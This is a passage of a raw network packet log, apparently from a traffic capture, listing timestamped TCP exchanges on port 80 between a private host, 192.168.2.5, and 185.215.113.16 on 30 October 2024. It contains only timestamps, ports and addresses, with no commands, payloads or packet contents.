Oct 30, 2024 00:21:19.715293884 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715303898 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715318918 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715322018 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715322018 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715328932 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715342999 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715352058 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715358019 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715361118 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715370893 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715379953 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715379953 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715390921 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715392113 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715401888 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715410948 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715415955 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715420008 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715434074 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715435982 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715447903 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715456009 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715459108 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715466022 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715470076 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715478897 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715496063 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715507030 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715838909 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715847969 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715857029 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715864897 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715876102 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715879917 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715887070 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715897083 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715900898 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715907097 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715910912 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715917110 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715934992 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715934992 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715940952 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715945005 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715954065 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715955973 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715965986 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715970039 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.715976954 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715986967 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.715987921 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716000080 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716015100 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716018915 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716027021 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716029882 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716039896 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716042995 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716051102 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716054916 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716062069 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716067076 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716084957 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716094017 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716531992 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716541052 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716551065 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716561079 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716578960 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716578960 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716586113 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716593981 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716609001 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716610909 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716618061 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716619968 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716628075 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716630936 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716643095 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716654062 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716662884 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716662884 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716662884 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716674089 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716674089 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716686010 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716696024 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716698885 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716705084 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716707945 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716720104 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716728926 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716728926 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716738939 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716742992 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716749907 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716754913 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716761112 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716767073 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716775894 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716775894 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716787100 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716788054 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716798067 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716801882 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716808081 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.716820955 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.716839075 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717170000 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717181921 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717205048 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717221022 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717225075 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717231989 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717236996 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717242956 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717255116 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717258930 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717264891 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717269897 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717276096 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717287064 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717294931 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717297077 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717305899 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717319012 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717327118 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717329979 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717340946 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717349052 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717351913 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717364073 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717366934 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717375040 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717386007 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717389107 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717397928 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717401028 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717408895 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717413902 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717422009 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717432022 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717437983 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717443943 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717454910 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717463970 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717466116 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717472076 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717477083 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717484951 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717488050 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717499971 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717504025 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717511892 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717518091 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717524052 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717531919 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717540979 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717545033 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717559099 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717576981 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.717966080 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717974901 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717984915 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717994928 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.717998028 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718005896 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718017101 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718028069 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718030930 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718039036 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718039989 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718054056 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718061924 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718065023 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718071938 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718076944 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718092918 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718095064 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718105078 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718107939 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718116999 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718120098 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718127966 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718137026 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718139887 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718143940 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718152046 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718163967 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718167067 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718175888 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718179941 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718187094 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718198061 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718208075 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718213081 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718213081 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718220949 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718225002 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718234062 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718240976 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718245029 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718255997 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718256950 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718266964 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718271017 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718280077 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718287945 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718291044 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718302011 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718305111 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718317986 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718324900 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718338013 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718342066 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718353033 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718363047 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718365908 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718373060 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718400955 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718400955 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718935966 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718945980 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718956947 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718969107 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718980074 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718986034 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.718991995 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.718997002 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719008923 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719016075 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719018936 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719023943 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719031096 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719048977 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719055891 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719073057 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719106913 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719118118 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719126940 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719137907 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719147921 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719151020 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719158888 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719170094 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719170094 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719182014 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719182014 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719197989 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719197989 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719209909 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719216108 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719222069 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719233036 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719235897 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719244003 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719254971 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719259024 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719264984 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719268084 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719278097 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719286919 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719288111 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719300032 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719300985 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719310999 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719324112 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719327927 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719331980 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719342947 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719347954 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719356060 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719362974 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719367027 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719379902 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719381094 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719392061 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719396114 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719402075 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719412088 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719413996 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719423056 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719429016 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719434977 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.719444990 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719458103 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.719472885 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720043898 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720055103 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720063925 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720076084 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720087051 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720093012 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720098972 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720107079 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720115900 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720128059 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720138073 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720140934 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720149994 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720153093 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720164061 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720166922 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720180035 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720185041 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720191002 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720196009 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720204115 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720211983 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720216036 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720227003 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720240116 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720251083 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720256090 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720263004 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720278978 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720279932 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720292091 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720294952 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720302105 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720313072 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720318079 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720323086 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720326900 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720335007 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720345974 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720345974 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720357895 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720366955 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720370054 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720376968 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720381975 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720391035 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720392942 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720403910 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720412016 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720415115 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.720423937 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.720427036 CET	80	59791	185.215.113.16	192.168.2.5
